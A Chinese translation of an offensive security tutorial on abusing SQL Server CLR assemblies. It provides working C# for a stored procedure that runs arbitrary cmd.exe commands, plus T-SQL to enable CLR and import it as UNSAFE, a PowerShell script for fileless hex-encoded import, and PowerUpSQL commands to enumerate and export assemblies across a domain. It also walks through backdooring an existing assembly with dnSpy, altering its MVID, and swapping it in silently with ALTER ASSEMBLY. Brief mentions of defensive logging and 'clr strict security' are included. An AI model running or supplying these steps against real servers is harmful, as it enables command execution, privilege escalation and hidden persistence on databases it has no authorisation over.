本文中,我将以Nathan Krik的CLR系列文章提到的CLRassembly)为基础进行拓展。同时我也会介绍如何创建、导入、导出以及修改SQL Server的CRL库去实现提权、命令执行以及持久化操作。
先让我们来对要介绍的内容进行一个略览。你也可以跳过这部分内容:
为了能够达到本片博客的目的,我们将Common Language Runtime(CLR) assembly定义为.Net DLL(也可理解为一组DLL文件),这些文件均能导入至SQL Server。成功导入后,DLL的方法会被链接到存储过程,并通过TSQL执行。尽管创建和导入自定义CLR assembly是开发人员扩展SQL Server的内置函数的好方法,但这也为攻击者制造了机会。
接下来的这段C#模版功能是执行操作系统命令,它是建立在Nathan Kirik的工作成果和一些极棒的微软文章上。当然,你可以在此基础上进行修改,如果修改完了,记得另存为"C:\temp\cmd_exec.cs"。
using System;
using System.Data;
using System.Data.SqlClient;
using System.Data.SqlTypes;
using Microsoft.SqlServer.Server;
using System.IO;
using System.Diagnostics;
using System.Text;
public partial class StoredProcedures
{
[Microsoft.SqlServer.Server.SqlProcedure]
public static void cmd_exec (SqlString execCommand)
{
Process proc = new Process();
proc.StartInfo.FileName = @"C:\Windows\System32\cmd.exe";
proc.StartInfo.Arguments = string.Format(@" /C {0}", execCommand.Value);
proc.StartInfo.UseShellExecute = false;
proc.StartInfo.RedirectStandardOutput = true;
proc.Start();
// Create the record and specify the metadata for the columns.
SqlDataRecord record = new SqlDataRecord(new SqlMetaData("output", SqlDbType.NVarChar, 4000));
// Mark the beginning of the result set.
SqlContext.Pipe.SendResultsStart(record);
// Set values for each column in the row
record.SetString(0, proc.StandardOutput.ReadToEnd().ToString());
// Send the row back to the client.
SqlContext.Pipe.SendResultsRow(record);
// Mark the end of the result set.
SqlContext.Pipe.SendResultsEnd();
proc.WaitForExit();
proc.Close();
}
};
现在咱们的目标是通过csc.exe对"C:\temp\cmd_exec.cs"进行编译。即使你没有安装Visual Studio也不用担心,因为.NET框架默认是携带了csc.exe。所以,问题只是这个软件藏在你操作系统的某处。你可以通过下面这段PowerShell命令找到它哦。
Get-ChildItem -Recurse "C:\Windows\Microsoft.NET\" -Filter "csc.exe" | Sort-Object fullname -Descending | Select-Object fullname -First 1 -ExpandProperty fullname
假设你已经找到了csc.exe,接着你可以通过下面这样的命令对 "c:\temp\cmd_exec.cs" 进行编译。
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /target:library c:\temp\cmd_exec.cs
为了将刚生成的dll导入Sql Server,你必须以sysadmin权限登录,同时还需要CREATE ASSEMBLY的权限或者是ALTER ASSEMBLY权限。按照下面的步骤来操作的话能够成功注入DLL并将其与存储过程链接在一起,这么一来的话就可以通过TSQL来执行cmd_exec函数了。
首先以sysadmin登录SQL Server接着进行下面的查询。
-- Select the msdb database
use msdb
-- Enable show advanced options on the server
sp_configure 'show advanced options',1
RECONFIGURE
GO
-- Enable clr on the server
sp_configure 'clr enabled',1
RECONFIGURE
GO
-- Import the assembly
CREATE ASSEMBLY my_assembly
FROM 'c:\temp\cmd_exec.dll'
WITH PERMISSION_SET = UNSAFE;
-- Link the assembly to a stored procedure
CREATE PROCEDURE [dbo].[cmd_exec] @execCommand NVARCHAR (4000) AS EXTERNAL NAME [my_assembly].[StoredProcedures].[cmd_exec];
GO
现在你应该可以通过"msdb"中"cmd_exec"存储过程执行操作系统命令了,效果如下:
当你完成了这一步,你便可以通过下面的命令删除存储过程和assembly。
DROP PROCEDURE cmd_exec
DROP ASSEMBLY my_assembly
如果你阅读过Nathan Kirk's的系列博客,那你一定知道在将CLR assemblies导入到SQL Server时不必引用物理上的DLL。"CREATE ASSEMBLY"会接受十六进制形式的CLR DLL文件。下面的PowerShell脚本例子会向你展示如何将'cmd_exec.dll'文件转化为TSQL命令,该命令不经过物理文件的引用就可用来创建assembly。
# Target file
$assemblyFile = "c:\temp\cmd_exec.dll"
# Build top of TSQL CREATE ASSEMBLY statement
$stringBuilder = New-Object -Type System.Text.StringBuilder
$stringBuilder.Append("CREATE ASSEMBLY [my_assembly] AUTHORIZATION [dbo] FROM `n0x") | Out-Null
# Read bytes from file
$fileStream = [IO.File]::OpenRead($assemblyFile)
while (($byte = $fileStream.ReadByte()) -gt -1) {
$stringBuilder.Append($byte.ToString("X2")) | Out-Null
}
# Build bottom of TSQL CREATE ASSEMBLY statement
$stringBuilder.AppendLine("`nWITH PERMISSION_SET = UNSAFE") | Out-Null
$stringBuilder.AppendLine("GO") | Out-Null
$stringBuilder.AppendLine(" ") | Out-Null
# Build create procedure command
$stringBuilder.AppendLine("CREATE PROCEDURE [dbo].[cmd_exec] @execCommand NVARCHAR (4000) AS EXTERNAL NAME [my_assembly].[StoredProcedures].[cmd_exec];") | Out-Null
$stringBuilder.AppendLine("GO") | Out-Null
$stringBuilder.AppendLine(" ") | Out-Null
# Create run os command
$stringBuilder.AppendLine("EXEC[dbo].[cmd_exec] 'whoami'") | Out-Null
$stringBuilder.AppendLine("GO") | Out-Null
$stringBuilder.AppendLine(" ") | Out-Null
# Create file containing all commands
$stringBuilder.ToString() -join "" | Out-File c:\temp\cmd_exec.txt
如果这一切都进行得很顺利,文件"c:\temp\cmd_exec.txt"会包含下面的TSQL命令。以文中的为例,你可以看到十六进制字符被截断了,但是你自己的那块应该更长点。
-- Select the MSDB database
USE msdb
-- Enable clr on the server
Sp_Configure 'clr enabled', 1
RECONFIGURE
GO
-- Create assembly from ascii hex
CREATE ASSEMBLY [my_assembly] AUTHORIZATION [dbo] FROM
0x4D5A90000300000004000000F[TRUNCATED]
WITH PERMISSION_SET = UNSAFE
GO
-- Create procedures from the assembly method cmd_exec
CREATE PROCEDURE [dbo].[my_assembly] @execCommand NVARCHAR (4000) AS EXTERNAL NAME [cmd_exec].[StoredProcedures].[cmd_exec];
GO
-- Run an OS command as the SQL Server service account
EXEC[dbo].[cmd_exec] 'whoami'
GO
当你在Sql Server中以sysadmin权限运行来自"c:\temp\cmd_exec.txt"的TSQL命令时,输出结果看起来应该和下面的差不多。
如果你从未使用过PowerUpSQL,你可以在这找到安装说明。
我写了个PowerUpSQL函数,名为Create-SQLFileCLRDLL,这可以用来加快创建类似的DLLs和TSQL脚本。该函数有一些可选参数,用来定制assembly名、类名、方法名以及存储过程名。如果不指定参数的话,这些名字都会随机的。下面是一个基本的命令例子:
PS C:\temp> Create-SQLFileCLRDll -ProcedureName "runcmd" -OutFile runcmd -OutDir c:\temp
C# File: c:\temp\runcmd.csc
CLR DLL: c:\temp\runcmd.dll
SQL Cmd: c:\temp\runcmd.txt
下面的这行简短的代码时用来生成10个样本(CLR DLLS/CREATE ASSEMBLY TSQL脚本)。这对于在实验室尝试CLR assemblies来说会非常方便。
1..10| %{ Create-SQLFileCLRDll -Verbose -ProcedureName myfile$_ -OutDir c:\temp -OutFile myfile$_ }
你可以使用下面这条TSQL查询去验证你的CLR assembly是否安装正确,或用来寻找已经存在的用户定义的CLR assemblies。
注意:这个版本的代码是被我修改过的,原版在这。
USE msdb;
SELECT SCHEMA_NAME(so.[schema_id]) AS [schema_name],
af.file_id,
af.name + '.dll' as [file_name],
asmbly.clr_name,
asmbly.assembly_id,
asmbly.name AS [assembly_name],
am.assembly_class,
am.assembly_method,
so.object_id as [sp_object_id],
so.name AS [sp_name],
so.[type] as [sp_type],
asmbly.permission_set_desc,
asmbly.create_date,
asmbly.modify_date,
af.content
FROM sys.assembly_modules am
INNER JOIN sys.assemblies asmbly
ON asmbly.assembly_id = am.assembly_id
INNER JOIN sys.assembly_files af
ON asmbly.assembly_id = af.assembly_id
INNER JOIN sys.objects so
ON so.[object_id] = am.[object_id]
通过这条查询,我们能够看到文件名、assembly 名,assembly类名,assembly方法以及方法对应的存储过程。
这个时候你应该能看到出现在你眼前的结果中是包含了"my_assembly"的。如果你通过我前面所提到的"Create-SQLFileCLRDll"命令执行了10次TSQL查询,你也能看到与assembly对应的信息。
为了完成上面这个过程,我在PowerUpSQL中添加了一个名为"Get-SQLStoredProcedureCLR"的函数,该函数会自动迭代整个数据库并为每个assembly提供一一对应的信息。下面是这条命令的示例。
Get-SQLStoredProcedureCLR -Verbose -Instance MSSQLSRV04\SQLSERVER2014 -Username sa -Password 'sapassword!' | Out-GridView
你也在所有域SQL服务器上执行下面这条命令(前提是你得有足够的权限)
Get-SQLInstanceDomain -Verbose | Get-SQLStoredProcedureCLR -Verbose -Instance MSSQLSRV04\SQLSERVER2014 -Username sa -Password 'sapassword!' | Format-Table -AutoSize
攻击者不是唯一创建不安全assemblies的人群。有些情况下,开发人员也会去创建一些能够和操作系统资源交互的assembly或者能够直接执行操作系统命令的assembly。所以,以assembly为目标是可能导致提权的。举个例子来说,如果我们这边是存在不安全的assembly,我们可以尝试定义这些assembly能够接受的参数以及如何使用他们。这里出于乐趣,我们使用下面的这条查询去随意确定cmd_exec存储过程所能接受的参数。
SELECT pr.name as procname,
pa.name as param_name,
TYPE_NAME(system_type_id) as Type,
pa.max_length,
pa.has_default_value,
pa.is_nullable
FROM sys.all_parameters pa
INNER JOIN sys.procedures pr on pa.object_id = pr.object_id
WHERE pr.type like 'pc' and pr.name like 'cmd_exec'
在这个例子中,我们可以看到它只接受了名为"execCommand"的字符串参数。以存储过程为目标的攻击者或许能够判断出这可以用于命令执行。
对已存在的CRL assembly存储过程的功能进行简单的测试不是我们找到升级路径的唯一选项。在SQL Server中,我们可以将用户定义的CLR assemblies导出为DLLS。我们来聊聊CLR识别到CLR源码。开始的第一步是对assemblies进行识别,然后将它们导出为DLLs文件,接下来再是反编译,这样一来我们就可以进行分析其中的问题(也可能被修改插入了后门)。
上一节内容中,我们提到了如何使用PowerUpSQL命令列出CLR assembly,命令如下。
Get-SQLStoredProcedureCLR -Verbose -Instance MSSQLSRV04\SQLSERVER2014 -Username sa -Password 'sapassword!' | Format-Table -AutoSize
上面的Get-SQLStoredProcedureCLR函数还支持"ExportFolder"选项,如果你设置了该参数,它就会将assemblies导出到指定的文件夹中。下面是一个示例和输出。
Get-SQLStoredProcedureCLR -Verbose -Instance MSSQLSRV04\SQLSERVER2014 -ExportFolder c:\temp -Username sa -Password 'sapassword!' | Format-Table -AutoSize
完成后,你也可以批量的导出CLR DLLS文件(前提是你得是域用户和sysadmin用户),然后使用下面这条命令就能达到效果。
Get-SQLInstanceDomain -Verbose | Get-SQLStoredProcedureCLR -Verbose -Instance MSSQLSRV04\SQLSERVER2014 -Username sa -Password 'sapassword!' -ExportFolder c:\temp | Format-Table -AutoSize
你可以在输出文件夹中找到DLLs,该脚本会以每台服务器的名字、实例以及数据库名字动态构建文件夹结构。
接下来只需要通过你最爱的反编译器就能看到源代码了。在过去一整年里,我成为了dnsSpy的忠实粉丝,至于原因嘛,在你阅读完下一部分就知道了。
下面这张图是一张轮廓图,主要展示了通过dnSpy如何反编译、观察、编辑、保存以及再导入已存在SQL Server中的CLR DLL文件。你可以在这下载到dnSpy.
这里我们就以早些时候从SQL Server导出的cmd_exec.dll为例,对其进行修改。
第一步,用dnSpy打开cmd_exec.dll文件。左侧栏,往下拉直到你找到cmd_exec方法,选中它。接着你就能看到了源代码,现在可以开始寻找漏洞了。
第二步,在右边包含源码的界面右击然后选择“Edit Method(C#)"。
第三步,编辑你希望的代码。但是,在这个例子中我添加了一个后门,该后门的作用是每调用一次cmd_exec,它就会在"C:\temp\"目录下增加一个文件。示例代码和截图如下。
[SqlProcedure]
public static void cmd_exec(SqlString execCommand)
{
Process expr_05 = new Process();
expr_05.StartInfo.FileName = "C:\\Windows\\System32\\cmd.exe";
expr_05.StartInfo.Arguments = string.Format(" /C {0}", execCommand.Value);
expr_05.StartInfo.UseShellExecute = true;
expr_05.Start();
expr_05.WaitForExit();
expr_05.Close();
Process expr_54 = new Process();
expr_54.StartInfo.FileName = "C:\\Windows\\System32\\cmd.exe";
expr_54.StartInfo.Arguments = string.Format(" /C 'whoami > c:\\temp\\clr_backdoor.txt", execCommand.Value);
expr_54.StartInfo.UseShellExecute = true;
expr_54.Start();
expr_54.WaitForExit();
expr_54.Close();
}
第四步,通过点击完成保存修补后的代码。接着点击顶部菜单栏的选择文件,保存模块,保存它。
根据微软的资料来看,每次CLR编译,都有一个唯一的GUID生成并会内嵌在编译后的文件头上。所以,识别统一文件的不同版本是可行的。这个ID也可以叫做MVID(模块版本ID)。为了覆写已存在SQL Server中的CLR,我们一定得手动改掉MVID。下面是整个过程的概览。
第一步,如果没打开cmd_exec,请在dnSpy中打开。接着将可见界面拖到PE部分,选择"#GUID"存储流,接着右键并选择以十六进制格式显示数据。
第二步,你一定得去修改这些被选中的字节,可以修改成任意值。
第三步,从顶部菜单选择文件然后保存模块。
你可以使用我之前提供给你的原生PowerShell命令或者是使用下面示例的PowerUPSQL命令去获取来自新改动的cmd_exec.dll文件的十六进制字节,接着生成ALTER语句。
PS C:\temp> Create-SQLFileCLRDll -Verbose -SourceDllPath .\cmd_exec.dll
VERBOSE: Target C# File: NA
VERBOSE: Target DLL File: .\cmd_exec.dll
VERBOSE: Grabbing bytes from the dll
VERBOSE: Writing SQL to: C:\Users\SSUTHE~1\AppData\Local\Temp\CLRFile.txt
C# File: NA
CLR DLL: .\cmd_exec.dll
SQL Cmd: C:\Users\SSUTHE~1\AppData\Local\Temp\CLRFile.txt
新的cmd_exec.txt文件看起来是应该是这样的。
-- Choose the msdb database
use msdb
-- Alter the existing CLR assembly
ALTER ASSEMBLY [my_assembly] FROM
0x4D5A90000300000004000000F[TRUNCATED]
WITH PERMISSION_SET = UNSAFE
GO
Alter语句通常用于存在的CLR而不是DROP和CREATE。就像微软谈到的,"ALTER ASSEMBLY 不会中断在不停变化的assembly中运行的代码的会话。"所以,一句话概括就是不会出现异常。TSQL查询如下图所示。
为了检验你的代码修改是否生效,请运行cmd_exec存储过程然后检测是否生成了"C:\temp\backdoor.txt"
当然能了,但最开始可能会遇到一些不太令人喜欢的情况。
如果你不是以sysadmin登录SQL Server,但你又有CREATE和ALter ASSEMBLY权限,也许你能够在SQL Server服务账号(默认是sysadmin)下使用可以执行操作系统命令的CLR去获得sysadmin权限。然而,为了让你成功,你创建的CLR assembly所在的数据库必须设置了is_trustworthy标志为1,同时还得启用了clr enabled(也就是说不能禁用clr)。默认情况下,只有msdb数据库是可信的,并且clr enabled设置是被禁用的。
我从未见过CREATE或ALTER ASSEMBLY权限明确分配给能够登录的用户。然而,我却见过应用程序的SQL登录被添加到"db_ddladmin"数据角色,并且这个角色的的确确拥有"ALTER ASSEMBLY"权限。
注意,SQL Server 2017引进了clr strict security配置。微软文档讲述了该配置应被禁止防止UNSAFE或EXTERNAL assembly被创建。
本文中,我仅展示了一部分可能被滥用的CLR assemblies同时有些任务(比如导出CLR assemblies)可以通过PowerUPSQL来批量完成。值得注意的是文中的所有技术都可以被记录和用语警告(通过原生SQL Server功能),但是我期待有另外一天重提这些。除此之外,请愉快的玩耍和带有责任的hack吧。
1.NET 基础——CLR、BCL、DLL、Assembly
2.MySQL UDF(自定义函数)